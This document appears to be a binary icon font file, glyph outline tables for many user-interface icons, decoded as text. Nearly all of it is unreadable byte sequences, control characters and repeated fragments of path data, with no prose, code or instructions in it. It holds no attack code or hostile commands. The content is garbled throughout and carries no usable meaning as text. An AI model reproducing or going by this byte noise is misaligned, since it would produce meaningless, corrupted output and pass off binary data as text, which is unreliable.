=eF6  ԖV>!pRgQBC;xK|Ԗ{QNa*+%xx5eud_C(+5++5+(C_due2ԖԖ>NQ{u%+*jԖԖ     p ! C i  4/&#"#".'32?64/&#"327.546326 #"/&547'#"/&4?632632(* 8(!)(A(')* 8(!USxySSXXVzxTTUSxySSXXVzxT@( (8 *(('((8 SSUSx{VXXTTSSUSx{VXXT        #!" 5467&54 32632t,Ԟ;F`j)6,>jK?  s  !  %#!"&7#"&463!2+!'5#8EjjE8@&& &&@XYY&4&&4&qDS%q%         N \ j x     2"&4#"'#"'&7>76326?'&'#"'.'&676326326&'&#"32>'&#"3254?''74&&4&lNnbSVZbRSD	zz	DSRb)+USbn\.2Q\dJ'.2Q\dJ.Q2.'Jd\Q2.'Jd`!O` 	`&4&&4r$#@B10M5TNT{L5T	II	T5L;l'OT4M01B@#$*3;$*3;;3*$;3*$:$/ @@Qq`@         " % 3 <  2#!"&5!"&5467>3!263!	!!#!!46!#!(88(@(8(8(`((8D<++<8(` (8(`8(@(88( 8((`(8((<`(8 (``(8    || ?  %#"'&54632#"'&#"32654'&#"#"'&54632|udqܟs]
=
OfjL?R@T?"&
>
f?rRX=Edudsq
=
_MjiL?T@R?E& f
>
=XRr?b      ! 1 E  )!34&'.##!"&5#3463!24&+";26#!"&5463!2  

08((88(@(88((88((`(1

`(88( (88( @`(88(@(8(`         #!"&5463!2 w@www`@www             /  %#!"&=463!2#!"&=463!2#!"&=463!2 &&&&&&&&&&&&&&&&&&&&&&&&    @    ' 7 G  $"&462"&462#!"&=463!2 "&462#!"&=463!2#!"&=463!2ppppppp@ppp@@Рppppppppp         < L \ l |  #"'732654'>75"##5!!&54>54&#"'>3235#!"&=463!2!5346=#'73#!"&=463!2#!"&=463!2}mQjB919+i1$AjM_3</BB/.#U_:IdDRE@k*Gj@@TP\BX-@8
C)5XsJ@$3T4+,:;39SG2S.7<vcc))%Ll}         5 e  2#!"&=463%&'&5476!2/&'&#"!#"/&'&=4'&?5732767654'&@02uBo
T25XzrDCBBEh:%)0%HPIP{rQ9f#-+>;I@KM-/Q"@@@#-bZ$&P{<8[;:XICC>. '5oe80#.0(l0&%,"J&9%$<=DTI     c s  &/6323276727#"327676767654./&'&'737#"'&'&'&54'&54&#!"3!260%<4"VRt8<@<-#=XYhW8+0$"+dTLx-'I&JKkmuw<=V@!X@		v'|N;!/!$8:IObV;C#V
&(mL.A:9 !./KLwPM$@@  
       / ? O _ o     %54&#!"3!2654&#!"3!2654&#!"3!2654&#!"3!2654&#!"3!2654&#!"3!2654&#!"3!2654&#!"3!2654&#!"3!26#!"&5463!2 @@ @ @ @ @ @ @@^BB^^B@B^NB^^B@B^^         # + 3  	'$"/&4762%/?/?/?/?%k*66bbbb|<<<bbbbbbbb%k66Ƒbbb<<<<^bbbbbb    @      M  $4&"2!#" 4&"2&#"&5!"&5#".54634&>?>;5463!2LhLLh		 LhLLhL!'ԖԖ@'!&	?& &LhLLhL 		hLLhL 	jjjj	&@6/"&&       J   #"'676732>54.#"7>76'&54632#"&7>54&#"&54$  ok;	-j=yhwi[+PM3ѩk=J%62>VcaaQ^ ]G"'9r~:`}Ch  0=Z٤W=#uY2BrUI1^Fk[|a      L  2#!67673254.#"67676'&54632#"&7>54&#"#"&5463ww+U	,i<F{jh}Z+OM
2ϧj<J%51=Ubwww@wzX"'8'TyI9`{Bf 
,>XբW<"uW1AqSH1bdww        ' 7  4'!3#"&46327&#"326%35#5##33#!"&5463!20U6cc\=hlࠥYmmnnnnw@wwww&46#Ȏ;edwnnnnn@www    	 ] # /  #"$&6$3 &#"32>7!5!%##5#5353Еttu{zz{SZC`cot*tq||.EXN#??           , <  !5##673#$".4>2"&5!#2!46#!"&5463!2 rM* *M~~M**M~~M*jjj& && &`P%挐|NN||NN|* jj jj@&&&&    @     "'&463!2 @4@&Z4@4&        @    #!"&4762 &&4Z4&&4@     @    "'&4762&4@4&@&4&      @    "&5462@@4&&44@&&@           3!!%!!26#!"&5463!2`m`^BB^^B@B^ `@B^^BB^^    @     "'&463!2#!"&4762 @4@&&&&44@4&Z4&&4@            "'&463!2 @4@&4@4&        @    #!"&4762 &&4Z4&&4@          :  #!"&5;2>76%6 +".'&$'.5463!2 ^B@B^,9j9Gv33vG9H9+bI\
A+=66=+A
[">nSMA_:B^^B1&c*/11/*{'VO3@/$$/@*?Nh^    l   +  !+"&5462!4&#"!/!#>32]_gTRdgdQV?UI*Gg?!2IbbIJaaiwE3300 08        4   #"$'&6?6332>4.#"#!"&54766$32 z䜬m
IwhQQhbF*@&('kz
	
_hQнQGB'(&*eoz  ( q  !#"'&547"'#"'&54>7632&4762.547>32#".'632%k'45%&+ ~((h		&

\((		&

~ +54'k%5%l%%l$65+ ~

&		((\

&		h((~ +%'         ! ) 1 9 K   4&"2 4&"26.676&$4&"2 4&"24&"2#!"'&46$ KjKKjKjKKje2.e<^P,bKjKKjKjKKjKjKKj##LlLKjKKjKjKKjK~-M<M(PM<rjKKjKjKKjKujKKjKL           <    6?32$6&#"'#"&'5&6&>7>7&54$ LhяW.{+9E=cQdFK1A
0)pJ2`[Q?l&٫C58.H(Y'        : d    6?32$64&$ #"'#"&'&4>7>7.546'&'&'# '32$7>54'Yj`a#",5NK
~EVZ|$2$
|:
$2$|ZV:(t}hfR88T
h̲X(	&%(Hw(%&	(XZT\MKG{x   | !  #"'.7#"'&7>3!2%632u
jH{(e9
1b      U  #!"&546;5!32#!"&546;5!32#!"&546;5463!5#"&5463!2+!232 8((88(` `(88((88(` `(88((88(`L4 `(88(@(88(` 4L`(8 (88(@(88((88(@(88((88(@(84L8(@(88((8L48      O Y  "&546226562#"'.#"#"'.'."#"'.'.#"#"&5476 $32&"5462И&4&NdN!>!1X:Dx++ww++xD:X1- U! *,*&4&hh&&2NN2D&
..J<
$$
<JJ<
$$
<J..
Pbb&&          7  !!"&5!54&#!"3!26!	#!"&=!"&5463!2 `(8 @ + 8(@(8(88(@(8(8( @@m+U`(88(8(@(88(h`         ( \  "&54&#"&46324."367>767#"&'"&547&547&547.'&54>2l42cKEooED
)

)
Dg-;</-?.P^P.?-/<;-gYY.2 L4H|O--O|HeO,,Oeq1Ls26%%4.2,44,2.4%%62sL1qcqAAq      4  #!#"'&547632!2#"&=!"&=463!54632 		@	`		`?`
@		@	!		
          5  4&+4&+"#"276#!" 5467&54 32632 	`		_
v,Ԝ;G_j)``			_ԟ7,>jL>       5  4'&";;265326#!" 5467&54 32632 			
v,Ԝ;G_j)	`		`7,>jL>        X `  $"&462#!"&54>72654&'547 7"2654'54622654'54&'46.'  &6 &4&&4&yy%:hD:FppG9Fj 8P8 LhL 8P8 E;
Dh:%>4&&4&}yyD~s[4Dd=PppP=d>hh>@jY*(88(*Y4LL4Y*(88(*YDw"
A4*[s~>       M   4&"27 $=.54632>32#"' 65#"&4632632 65.5462 &4&&4G9&
<#5KK5!!5KK5#<
&ܤ9Gpp&4&&4&@>buោؐ &$KjKnjjKjK$& jjb>Ppp        %  !5!#"&5463!!35463!2+32  @\\ 8(@(8 \@@\ \@\  (88(\   @    3  4#"&54"3#!"&5!"&5>547&5462;U gI@L4@Ԗ@4L2RX='8P8'=XR U;Ig04LjjL4*\(88(\    @    "   4&+32!#!"& +#!"&5463!2pP@@P j j@@\@\&0pj	 \\&       - B  +"&5.5462265462265462+"&5#"&5463!2G9L44L9G&4&&4&&4&&4&&4& L44L &=d4LL4d=&&`&&&&`&&&&4LL4  &         # 3 C S  #!"&5463!2!&'&!"&5!463!2#!"&52#!"&=4632#!"&=463(8((88((`x
c`(8  @@@`((88(@(8(D9 8( `@@@ @@        / ? O _ o         -=  %+"&=46;25+"&=46;2+"&=46;2%+"&=46;2+"&=46;2%+"&=46;2%+"&=46;2%+"&=46;2+"&=46;2%+"&=46;2%+"&=46;2%+"&=46;2+"&=46;2%+"&=46;2%+"&=46;2+"&=46;2%+"&=46;2+"&=46;2!!!5463!2#!"&5463!2@@@@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @ & && &@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@  `&&&&        / ? O _ o        %+"&=46;25+"&=46;2+"&=46;2%+"&=46;2+"&=46;2%+"&=46;2%+"&=46;2+"&=46;2%+"&=46;2+"&=46;2!!#!"&=!!5463!24&+"#54&+";26=3;26%#!"&5463!463!2!2@@@@ @@ @@ @@ @@ @@ @@ @@ @@  8(@(8 @@@@@ & &&@8((8@&@@@@@@@@@@@@@@@@@@@@ (88( @````- && & (88(&  @    < c  $4&"2!# 4&"254&+54&+"#";;26=326+"&5!"&5#"&46346?>;463!2KjKKj KjKKj &ԖԖ&&@&&KjKKjK 
jKKjK .&jjjj&4&@@&&      # ' 1 ? I  54&+54&+"#";;26=326!5!#"&5463!!35463!2+32    \\8(@(8 \  \ \@\  (88(\          :  #32+53##'53535'575#5#5733#5;2+3@E&&`@@`    `@@`&&E%@`@ @ @		      		@ 0
    @      !3!57#"&5'7!7! K5@   @ 5K@@@      # 3  %4&+"!4&+";265!;26#!"&5463!2 && &&&& && w@www&&@&&&&@&&@www        # 3  54&#!4&+"!"3!;265!26#!"&5463!2 &&&&&@&&@& w@www@&@&&&&&&@&:@www    - M3  )  $"'&4762	"'&4762	s
2

.



2

w
2

.



2

w
2





2

ww

2





2

ww     M3  )   "/&47	&4?62"/&47	&4?62S
.

2

w

2


.

2

w

2

M
.

2



2

.

.

2



2

.   M 3S  )  $"'	"/&4762"'	"/&47623
2

ww

2





2

ww

2




2

w

2



.v
2

w

2



.    M 3s  )   "'&4?62	62"'&4?62	623
.

.

2



2

.

.

2



2
.



2

w

2v
.



2

w

2   - Ms3    	"'&4762s
w

2

.



2
ww

2





2     MS3    "/&47	&4?62S
.

2

w

2

M
.

2



2

.    M3S    "'	"/&47623
2

ww

2



m
2

w

2



.    M-3s    "'&4?62	623
.

.

2



2-
.



2

w

2        /  4&#!"3!26#!#!"&54>5!"&5463!2 @^B  & &  B^^B@B^ @MB^%Q=&&<P&^B@B^^            + 3  "&5463!2#3!2654&#!"3#!"&=324+"3B^^B@B^^B@`^BB^p ^BB^^B@B^`@S`(88(``             '  $4&"2%4&#!"3!26#!"&5463!2&4&&4@^BB^^B@B^f4&&4&@B^^B@B^^            /  $4&"2%4&#!"3!264+";%#!"&5463!2/B//B   0L4 4LL4 4L_B//B/@M    4LL4 4LL            >& $$ (r^aa(^aa        ! C  #!"&54>;2+";2#!"&54>;2+";2 pPPpQh@&&@j8(PppPPpQh@&&@j8(Pp@PppPhQ&&j (8pPPppPhQ&&j (8p         ! C  +"&=46;26=4&+"&5463!2+"&=46;26=4&+"&5463!2 Qh@&&@j8(PppPPpQh@&&@j8(PppPPp@hQ&&j (8pPPppP@hQ&&j (8pPPpp     @@  	   # + 3 ; G  $#"&5462 "&462 "&462#"&462 "&462 "&462 "&462#"&54632K54LKj=KjKKjKjKKjL45KKjK<^^^KjKKjppp\]]\jKL45KjKKjKujKKjK4LKjKK^^^jKKjKpppr]]\            $$  ^aaQ^aa      ,  #"&5465654.+"'&47623  #>bqb&4  4&ɢ5"		#D7euU6 & 4 & m       1 X   ".4>2".4>24&#""'&#";2>#".'&547&5472632>3=T==T==T==T=v)GG+v@bRRb@=&\Nj!>3lkik3hPTDDTPTDDTPTDDTPTDD|xxXK--K|Mp<#	)>dA{RXtfOT# RNftWQ          ,  %4&#!"&=4&#!"3!26#!"&5463!2!2 8(@(88((88((8\@\\@\\(88(@(88(@(88@\\\\       u  ' E  4#!"3!2676%!54&#!"&=4&#!">#!"&5463!2!2325([5@(\& 8((88((8 ,9.+C\\@\ \6Z]#+#,k(88(@(88(;5E>:5E\\\ \1.           $ 4 @  "&'&676267> "&462"&462 .  > $$ n%%/02
KjKKjKKjKKjKfff^aayy/PccP/jKKjKKjKKjKffff@^aa        $ 4 @  &'."'.7>2 "&462"&462 .  > $$ n20/%7KjKKjKKjKKjKfff^aa3/PccP/y	jKKjKKjKKjKffff@^aa         + 7   #!"&463!2 "&462"&462 .  > $$ &&&&KjKKjKKjKKjKfff^aa4&&4&jKKjKKjKKjKffff@^aa       # + 3 C  54&+54&+"#";;26=3264&"2 4&"2$ #"'##"  3!2@@KjKKjKKjKKjKܒ,gjKKjKKjKKjKXԀ,,          # / ; G S _ k w       +"=4;27+"=4;2'+"=4;2#!"=43!2%+"=4;2'+"=4;2+"=4;2'+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;54;2!#!"&5463!2```` ````````````` `` `` p` K55KK55Kp````````````````````````` 5KK55KK     @   * V  #"'.#"63232+"&5.5462#"/.#"#"'&547>32327676R?d^7ac77,9xm#@#KjK#
ڗXF@Fp:f_ #WIpp&3z	h[ 17q%q#::#5KKu't#!X:	%#+=&>7p   @    * 2 F r  56565'5&'.	#"32325#"'+"&5.5462#"/.#"#"'&547>32327676@ͳ82.,#,fk*1x-!#@#KjK#
ڗXF@Fp:f_ #WIpp&3z	e`vo8t-	:5	[*#::#5KKu't#!X:	%#+=&>7p    3  $  	"/&47	&4?62#!"&=463!2I.

2

w

2


-@).

2



2

.
-@@     -S  $ 9  %"'&4762		/.7>	"/&47	&4?62i2

.



2

w
E>u>.

2

w

2


2





2

ww
!h.

2



2

.
       ;  #"'&476#"'&7'.'#"'&476'  )'s"+5+@ա'  )'F* 4 *Er4M:}}8GO* 4 *     ~ 
 (  -/'	#"'%#"&7&67%632B;><V??V --C4
<B=cB5!%%!b 7I))9I7        	#"'.5!".67632y(
#
  ##@,(
)        8  !	!++"&=!"&5#"&=46;546;2!76232-SSS

		 SS``		

          K  $4&"24&"24&"27"&5467.546267>5.5462 8P88P88P88P8P88P4,CS,4pp4,,4pp4,6d7AL*',4ppP88P8P88P8HP88P8`4Y&+(>EY4PppP4Y4Y4PppP4Y%*<O4Y4Ppp        % @ \ h t   	"'&4762"&5462&#!"&463!2#"'&'7?654'7&#"&'&54?632#!"&463!2"&5462"'&4762 		 

	@USxySR#PT('#TUSxySN@ 		 

		 		

 		
3@xSSUO#'(V^'(PVvxSSUi @ 		

 		
   `     <  +"&=46;2+"&=467>54&#"#"/.7!2<'G,')7N;2]=A+#H0PRH6^;<T%-S#:/*@Z}

>h         .  %#!"&=46;#"&=463!232#!"&=463!2& &&@@&&&@&& && &&&&&&&&f&&&&   b      #!"&=463!2#!"&'&63!2 & && &' '%@% &&&& && &&    k % J  %#/&'#!53#5!36?!#!'&54>54&#"'6763235
Ź}4NZN4;)3.i%Sin1KXL7觧*		#&		*@jC?.>!&1'\%Awc8^;:+<!P        % I  %#/&'#!53#5!36?!#!'&54>54&#"'6763235
Ź}4NZN4;)3.i%PlnEcdJ觧*		#&		*-@jC?.>!&1'\%AwcBiC:D'P           %!	#!"&'&6763!2P &: &?&: &?5"K ,)""K ,)      h  #".#""#"&54>54&#"#"'./"'"5327654.54632326732>32YO)I-D%n "h.=T#)#lQTv%.%P_	%	%_P%.%vUPl#)#T=@/#,-91P+R[Ql#)#|''
59%D-I)OY[R+P19-,# #,-91P+R[YO)I-D%95%_P%.%v      ' 3   !2#!"&463!5& =462   =462 &546  &&&& &4&r&4& @&4&&4&G݀&&&&f    s   C K  &=462	#"'32 =462 !2#!"&463!5&'"/&4762%4632e*&4&i76`al&4& &&&& }n

R



R
zfOego&&5`3&&&4&&4&D

R



R
z v        "  !676"'.5463!2@@w^Cct~55~tcC&&@?J V|RIIR|V &&           # G  !!%4&+";26%4&+";26%#!"&546;546;2!546;232@@ @@L44LL4^B@B^^B@B^4L   N 4LL4 4L`B^^B``B^^B`L      L   4&"2%#"'%.5!#!"&54675#"#"'.7>7&5462!467%632 &4&&4@ o& &}c ;pG=(8Ai8^^.&4&&4&`	`fs&& jo/;J!#2
 KAE*,B^^B!`	   $   -   4&"2#"/&7#"/&767%676$!28P88PQr	@U	@
{`PTP88P8P`
	@U	@rQ           !6'&+!!!!2Ѥ8̙e;<*@8 !GGGQII            %764'	64/&"2  $$ f3f4:4^aaf4334f:4:^aa         %64'&"	2  $$ :4f3f4F^aa4f44f^aa         764'&"27	2  $$ f:4:f4334^aaf4:4f3^aa            %64/&"	&"2  $$ -f44f4^aa4f3f4:w^aa   @    7!!/#35%!'!%j/djg2|855dc b    @   !	!%!!7!FG)DH:&HdS)         U   4&"2#"/ $'#"'&5463!2#"&=46;5.546232+>7'&763!2&4&&4f]wq4qw]	`dC&&:FԖF:&&Cd`4&&4&	]]	`d[}&&"uFjjFu"&&y}[d       #  2#!"&546;4   +"&54&" (88(@(88( r&@&Ԗ 8((88(@(8@&&jj           ' 3   "&462 &         .  > $$  Ԗ>aX,fff^aaԖԖa>TX,,~ffff@^aa          /  +"&=46;2+"&=46;2+"&=46;28((88((8 8((88((8 8((88((8 (88((88((88((88((88((88           /  +"&=46;2+"&=46;2+"&=46;28((88((88((88((88((88((8 (88((88(88((88(88((88        5 E  $4&"2%& '&;26%&.$'&;276#!"&5463!2 KjKKjf	
\
w@wwwjKKjK"Gܚf


	@www             $64'&327/a^  !  ^aaJ@%%	  65   /  	64'&"2	"/64&"'&476227 <ij6j6u%k%~8p8}%%%k%}8p8~%<<ij4j4t%%~8p8~%k%%%}8p8}%k          54&#!"3!26#!"&5463!2 &&&& w@www@&&&&:@www        /  #!"&=463!24&#!"3!26#!"&5463!2@^BB^^B@B^www@w@@2@B^^BB^^ww@w        +#!"'&?63!#"'&762(@	@(@>@%%%         !232"'&76;!"/&76 ($>(		 J &%       $  %64/&"'&"2#!"&5463!2ff4-4ff4fw@wwwf4f-f4@www         /  #5#5'&76	764/&"%#!"&5463!248`# \P\w@www4`8#@  `\P\`@www        )  4&#!"273276#!"&5463!2 & *f4' w@www`&')4f*@www     % 5  	64'&"3276'7>332#!"&5463!2`'(wa8!
,j.(&w@www`4`*'?_`ze<	bw4/*@www           - .  6  $$     (r^aaO (_^aa       -  "'&763!24&#!"3!26#!"&5463!2yB((@ w@www]#@## @@www       -  #!"'&7624&#!"3!26#!"&5463!2y((@B@u@ w@www###@@@www       -   '&54764&#!"3!26#!"&5463!2@@####@ w@wwwB((@@www      `  %#" '#"&=46;&7#"&=46;6 32/.#"!2#!!2#!32>?6#!"'?_BCbCaf\	+~2	

	}0$q90r pr%Dpu       ?  #!"&=46;#"&=46;54632'.#"!2#!!546;2Da__	g	
*`-Uh1߫}
	$^L    4   b  +"&=.'&?676032654.'.5467546;2'.#"ǟB{PDg	q%%Q{%P46'-N/B).ĝ9kC<Q7>W*_x*%K./58`7E%_	,-3
cVO2")#,)9;J)"!*
#VD,'#/&>AX      >  ++"' '&=46;267!"&=463!&+"&=463!2+32Ԫ$
		pU9ӑ@/*fo	VRfqf=S     E  !#"&5!"&=463!5!"&=46;&76;2>76;232#!!2#![ 

%
)
	"JgUhBW&WXhUg        8   4&#!!2 #!!2#!+"&=#"&=46;5#"&=46;463!2j@jog|@~vvu            n  #467!!3'##467!++"'#+"&'#"&=46;'#"&=46;&76;2!6;2!6;232+32QKt# #FNQo!"դѧ!mY

Zga~bm]

[o"U+, @h
h@@Xhh@   8  3 H \  #5"'#"&+73273&#&+5275363534."#22>4.#2>ut3NtRP*Ho2
Lo@!R(Ozh=,G<X2O:&D1A.1G$<2I+A;"B,;&$LGlF/ 3D;a$8$".!3!
.          3!#!"&5463! 8( 8((88(  h (8(88(@(8         ( 8 H  !!#!"&5463!54&#!"3!2654&#!"3!2654&#!"3!26(D 8((88( 8@@@$(88(@(8(8 @@@@@@   " }  
 $ B R  3/&5##"'&76;46;232!56?5"#+#5!76;5!53'#3!533H

Dq		x7	K//KFh/"		@`Z		sYwjjjjj     " }  
 $ 4 R  %3/&5##"'&76;46;232!53'#3!533!56?5"#+#5!76;5H

K//KFq		x7	h/"		@`jjjjjZ		sY
w  "     ) 9 I Y  %#"'&76;46;232#!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2

 @@  `		@`     "     ) 9 I Y  #!"&=463!2%#"'&76;46;232#!"&=463!2#!"&=463!2#!"&=463!2   

@@ r		@`r    "   
 $ C V  %4&#"326#"'&76;46;232%#"'&'73267##"&54632!5346=#'73BX;4>ID2F

8PuE>.'%&TeQ,jm{+>R{?jJrL6V		@`7>wmR1quWei/rr:Vr     "   
 $ 7 V  4&#"326#"'&76;46;232!5346=#'73#"'&'73267##"&54632BX;4>ID2F

+>R{8PuE>.'%&TeQ,jm{?jJrL6		@`rr:Vr3>wmR1quWei    @   \  %4&#"326#!"&5463!2+".'&'.5467>767>7>7632!2 &%%&&&& &7.'	:@$LBWM{#&$h1D!		.I/!	Nr&&%%&&&&V?, L=8=9%pEL+%%r@W!<%*',<2(<&L,"r       @    \  #"&546324&#!"3!26%#!#"'.'.'&'.'.546767>; &%%&&&& &i7qN	!/I.		!D1h$&#{MWBL$@:	'.&&%%&&&&=XNr%(M&<(2<,'*%<!W@r%%+LEp%9=8=L       	   + = \ d       %54#"327354"%###5#5#"'&53327#"'#3632#"'&=4762#3274645"=424'.'&!  7>76#'#3%54'&#"32763##"'&5#327#!"&5463!2BBPJNC'%!	B?)#!CC $)54f"@@
B+,A

A+&+A
ZK35N #J!1331CCC $)w@www2"33FYF~(-%"o4*)$(*	(&;;&&9LA38334S,;;,WT+<<+T;(\g7x:&&::&&<r%-@www       	   + = [ c }     #"'632#542%35!33!3##"'&5#327%54'&#"5#353276%5##"=354'&#"32767654"2 '.'&547>76 3#&'&'3#"'&=47632%#5#"'&53327''RZZ:kid YYY.06	62+YY-06	R[!.'CD''EH$VVX::YX;:Yfyd/%jG&DC&&CD&O[52.[$C-D..D^^* ly1%=^I86i077S3
$EWgO%33%OO%35	EEFWt;PP;pt;PP;pqJgTFQ%33&PP%33%R7>%3!+}   {  '  +"&72'&76;2+"'66;2U
&
	(P

*'eJ."-dZ-n -         ' 7  4'&+";27&+";276'56#!"&5463!2~}		7e 	۩w@www"$Q#'!#@www       
   I  -22#!&$/.'.'.'=&7>?>369II ! '	$ !01$$%A'	$ ! g	
\7@)(7Y
	
 \7@)(7Y
   @       	'5557	,VWQV.RW=?l%l`~0            !#!#%777	5!	R!!XCCfff݀# `,{{{`          O g   4&"2  &6 $"&462$"&62>7>7>&46.'.'.  '.'&7>76  Ԗ HR6L66LGHyU2LL2UyHHyU2LL2UyHn
X6X

XX
ԖԖH6L66L6L2UyHHyU2LL2UyHHyU2Ln6X

XX

           2#!"&5463 4&"2$4&"2ww@ww||||||w@www|||||||       	   !3	37!  $$  n6^55^h
^aaM1^aa    P 
  * C g  '.676.7>.'$7>&'.'&'? 7%&'.'.'>767$/u5'&$I7ob?K\[zH,1+.@\7<?5\V,$Vg.GR@ 7U,+!	#	"8$}{)<?L RR;kr,yE[z#	/1
"#	#eCI0/"5#`	"84~&p)4	2{H-.%W.L>       ' : Y i  4&67&'&676'.'>7646&' '7>6'&'&7>7#!"&5463!2PR$++'TJXj7-FC',,&C."!$28h/"	+p^&+3$i0(w@www+.i6=Bn\C1XR:#"'jj8Q.cAj57!?"0D$4"P[&2@www     D   "  %.5#5>7>;!!76PYhpN!HrD0M C0N#>8\xx: W]oW-X45       /  %'#.5!5!#"37>#!"&5463!2p>,;$4
 5eD+WcEw@wwwK()F
,VhV^9tjA0/@www  @     #"'&76;46;23

	 &

         ++"&5#"&7632	^

c &

     @    #!'&5476!2  &

^

b	        '&=!"&=463!546
 &

	
     q  & 8  #"'&#"#"5476323276326767q'T1[VA=QQ3qqHih"-bfGw^44O#A?66%CKJA}}  !"䒐""A$@C3^q|z=KK?6lk)           %!%!VVuuu^-m5w}n      ~    7 M [   264&"264&"2"&546+"&=##"&5'#"&5!467'&766276#"&54632    *<;V<<O@-K<V<<+*<J.@kclGH__H<+*<<*+<    <*R+<<+*<f.@+<<++<<+@.7uu7**R+<<++;; 	      "%3I  #5472&6&67><&4'>&4.'.'.'.'.'&6&'.'.6767645.'#.'6&'&7676"&'&627>76'&7>'&'&'&'&766'.7>7676>76&6763>6&'&232.'.6'4."7674.'&#>7626'.'&#"'.'.'&676.67>7>5'&7>.'&'&'&7>7>767&'&67636'.'&67>7>.'.67	\

	U7	
J#!W!'	"';%
k	)"	
	'

/7* 		I	,6
*&"!O6*O $.(	*.'
.x,	$CN	
		*	
6		
7%&&_f&
",VL,G$3@@$+
"


V5 3"	""#dA++
y0D-%&n4P'A5j$9E#"c7Y
6"	&
8Z(;=I50' !!eR

"+0n?t(-z.'<>R$A"24B@(	~	9B9,	*$				<>	?0D9f?Ae 	.(;1.D	4H&.Ct iY% *	
7J	 <W0%$	
""I!*D	 ,4A'4J"	.0f6D4pZ{+*D_wqi;W1G("%%T7F}AG!1#% JG3        ' . 2 > V b  %&#'32&'!>?>'&' &>"6&#">&'>26 $$  *b6~#= XP2{&%gx| .W)oOLOsEzG<	CK}E	$MFD<5+
z^aa$MWM1>]|YY^DեA<KmE6<"@9I5*^aa       > ^  4./.543232654.#"#".#"32>#"'#"$&547&54632632':XM1h*+D($,/9p`DoC&JV<Z PA3Q1*223IoBkែhMIoPែhMIoP2S6,M!"@-7Y.?oI=[<%$('3 -- <-\%FuPoIMhPoIMh    ,  # ? D  76&#!"7>;267676&#!"&=463!267
#!"'&5463!26%8#!&&Z"M>2!	^I7LRx_@>MN""`=&&*%I},
		L7_jj9          /  %4&#!"3!264&#!"3!26#!"&5463!2  &&&&  &&&&         1 9  #"'#++"&5#"&5475##"&54763!2 "&462 8(3-	&B..B&	-3(8 IggI `(8+Ue&.BB.&+8(kk`      % -  "&5#"&5#"&5#"&5463!2 "&462 8P8@B\B@B\B@8P8pPPp@`(88(`p.BB.0.BB.(88(Pppͺ      !  %>&'&#"'.$ $$ ^/(V=$<;$=V).X^aaJ`"(("`J^aa    ,   I   4."2>%'%"/'&5%&'&?'&767%476762%6[՛[[՛oܴ
 
		$$	"	$$		՛[[՛[[5`

^^

2``2

^^

`     1  %#"$54732$%#"$&546$76327668ʴhf킐&^zs,!V[vn)	6<ׂf{z}))Ns3(  @   +   4&#!"3!2#!"&5463!2#!"&5463!2@& && f&&&&@& && &4&&4& @&&&& && &&    ` B H   +"/##"./#"'.?&5#"&46;'&462!76232!46 `&C6@Bb03eI;:&&&4L4&F
Z4&w4) ''5r&4&&4&&4    }G   #&/.#./.'&4?63%27>'./&'&7676>767>?>%6})(."2*& @P9A
#sGq]
#lh<*46+(	
<5R5"*>%</
 '2@ 53*9*,Z&VE/#E+)AC
(	2k<X1$:hI(B"	!:4Y&>"/	+[>hy
	   K 
  ! / U i   %6&'&676&'&6'.7>%.$76$% $.5476$6?62'.76&&'&676%.76&'..676#"NDQt	-okQ//jo_		%&JՂYJA-.--
9\DtT+X?*<UW3'	26$>>W0{"F!"E ^f`$"_]\<`F`FDh>CwlsJ@;=?s:i_^{8+?`)O`s2RDE58/K       r 	    #"'>7&4$&5mī"#̵$5$"^^W=acE*c      z  k  ./ "&4636$7.'>67.'>65.67>&/>z X^hc^O<q+f$H^XbVS!rȇr?5GD_RV@-FbV=3!G84&3Im<$/6X_D'=NUTL;2KPwtPt= 

&ռ,J~S/#NL,8JsF);??1zIEJpqDIPZXSF6\?5:NR=;.&1          +!"&=!!%!5463!2sQ9Qs***sQNQsBUwwUBF H CCTww      % 1   #"&=!"&=463!54632.  6  $$ 		`?(r^aa		
(_^aa         % 1  #!#"'&47632!2.  6  $$ 		@	`(r^aa
?		@	(_^aa        /  #"'&476324&#!"3!26#!"&5463!2 &@& @ w@www&@B@&@@www          "&462  >& $$  Ԗ*(r^aaԖԖ (^aa       ]  6  #"$547 32>%#"'!"&'&7>32'!!!2f:лѪz~u: ((%`V6B^hD%i(]̳ޛ	*>6߅r#!3?^BEa߀#9       # 3  6'&632#"'&'&63232#!"&5463!2
Q,&U#+' ;il4L92<D`w@www`9ܩ6ɽ]`C477&@www       D  +"&5#"'&=4?5#"'&=4?546;2%6%66 546;2
	
	wwwwcB
G]B
Gty]ty      # 3 C  #!+"&5!"&=463!46;2!24&#!"3!26#!"&5463!2@`@`^BB^^B@B^www@w@`@`2@B^^BB^^ww@w        ' / ? P  +5#"&547.467&546;532!764'!"+32#323!&ln@:MM:@nY*Yz--zY*55QDDU9pY-`]]`.X /2I$	t@@/!!/@@3,$,3$p$00&*0&&!P@     R V  2#"&/#"&/#"&546?#"&546?'&54632%'&54632763276%>S]8T;/M77T</L7=Q7,i<R7,5T</L666U;/M5<U<,i6iQ=a!;;V6-j;V6-5	P=/L596Q</L5<U6-i;V7,7O;-I68i;k         ) I  2#!"&5463#9"'.'.'3!264&#!"2>7%>ww@ww!"5bBBb//*
8(@(87)(8=%/'#?w@www#~$EE y &L(88e):8(%O r		

		O           ? G Q a q  47&67>&&'&67>&"&#6$32#"#"'654   $&6  $6&$ CoL.*KPx.* 
iSƓi
7J?~pi{_Я;lLUZ=刈刈_t'<Z :!
	@!
j`Q7$ky, Rfk*4LlL=Z=刈           &$&546$7%7&'5>]5%w  &P?zrSF!|         & 0  	##!"&5#5!3!3!3!32!546;2!5463)
)     ;));;)) &&        &@@&&&    	   6   $&727 "'%+"'&7&54767%&4762֬>4Pt+8?::
		
::AW``EvEEvE<."e$IE&O&EI&{h.`  m  "  &#"& '327>73271[>+)@(]:2,C?*%Zx/658:@#N
